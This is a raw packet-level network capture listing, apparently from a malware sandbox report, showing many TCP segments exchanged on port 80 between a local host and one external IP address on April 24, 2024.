Apr 24, 2024 14:43:18.170675039 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.170686007 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.170726061 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.170840979 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.170898914 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.170898914 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.170934916 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.170979023 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.170989990 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171046019 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171066046 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171092033 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171128988 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171155930 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171236038 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171253920 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171293020 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171312094 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171340942 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171387911 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171387911 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171401024 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171453953 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171473980 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171499014 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171500921 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171540022 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171571970 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171576023 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171608925 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171648026 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171694994 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171710968 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171751022 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171793938 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171818018 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171891928 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.171904087 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.171962976 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172049999 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172070026 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172082901 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172122002 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172144890 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172152996 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172207117 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172209978 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172275066 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172280073 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172333002 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172369957 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172369957 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172410965 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172481060 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172492027 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172549009 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172563076 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172631025 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172637939 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172698021 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172739029 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172739029 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172769070 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172817945 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172820091 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172861099 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172871113 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172888041 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172908068 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.172974110 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.172987938 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.173012018 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173032045 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.173053980 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.173115015 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173190117 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173255920 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.173270941 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173315048 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173387051 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173404932 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.173413992 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173465967 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173485041 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.173547029 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173604012 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173621893 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.173664093 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.173688889 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173716068 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173734903 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.173911095 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.173928976 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.173959017 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174000978 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174062014 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174088001 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174160957 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174215078 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174242973 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174289942 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174307108 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174416065 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174436092 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174487114 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174583912 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174601078 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174639940 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174674988 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174674988 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174715042 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174741983 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174793005 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174793959 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174840927 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174892902 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174892902 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174926996 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.174957037 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.174988985 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175021887 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175091982 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175129890 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175129890 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175156116 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175215960 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175220966 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175265074 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175350904 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175390005 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175398111 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175497055 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175514936 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175534010 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175569057 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175569057 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175596952 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175674915 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175745964 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175765038 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175834894 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175872087 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175909996 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175913095 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.175970078 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.175973892 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176021099 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176049948 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176081896 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176089048 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176177025 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176285028 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176306963 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176378012 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176383972 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176455975 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176501989 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176517010 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176533937 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176533937 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176589012 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176598072 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176623106 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176635027 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176665068 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176703930 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176717997 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176803112 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176836967 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176862955 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176896095 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.176934004 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.176976919 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177031040 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177057028 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177198887 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177238941 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177238941 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177288055 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177330971 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177357912 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177397966 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177406073 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177455902 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177462101 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177493095 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177501917 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177565098 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177577972 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177603006 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177622080 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177644968 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177685022 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177706003 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177737951 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.177783966 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.177809000 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.178033113 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.453515053 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.453605890 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.453659058 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.453659058 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.453777075 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.453789949 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.453803062 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.453931093 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.453933954 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.453948975 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.453962088 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.453973055 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.453973055 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.454013109 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.454142094 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454154968 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454166889 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454216003 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.454216003 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.454308987 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454323053 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454356909 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.454463005 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454477072 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454489946 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454504013 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454529047 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.454623938 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454657078 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.454696894 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454711914 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454720974 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.454849958 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454910994 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.454925060 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455192089 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455204964 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455363989 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455377102 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455389023 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455401897 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.455549955 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455564022 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455576897 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455718994 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455732107 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455744982 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455907106 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455923080 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.455934048 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456018925 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.456075907 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456089973 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456191063 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.456231117 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456342936 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.456382036 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456394911 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456408024 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456429958 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.456465960 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.456547976 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456561089 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456573963 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456598043 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.456660032 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.456713915 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456728935 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456741095 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456768990 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.456813097 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.456907034 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456921101 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456933975 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.456989050 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.456989050 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.457082033 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457097054 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457192898 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.457218885 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457351923 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.457396030 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457408905 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457422018 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457448006 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.457490921 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.457581997 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457596064 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457607985 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457637072 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.457653046 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457667112 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457679033 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457684040 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.457707882 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.457743883 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.457843065 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457856894 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457870007 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.457892895 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.457920074 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.458069086 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458082914 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458136082 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.458221912 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458235025 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458281994 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.458374977 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458434105 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.458540916 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458553076 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458569050 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458581924 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458605051 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.458719969 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458734035 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458739042 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.458771944 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458777905 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.458827972 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.458975077 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.458987951 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.459000111 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.459012985 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.459019899 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.459028006 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.459048986 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.459091902 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.459168911 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.459183931 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.459196091 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.459230900 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.459256887 CEST	49710	80	192.168.2.8	193.233.132.175
Apr 24, 2024 14:43:18.459330082 CEST	80	49710	193.233.132.175	192.168.2.8
Apr 24, 2024 14:43:18.459343910 CEST	80	49710	193.233.132.175	192.168.2.8
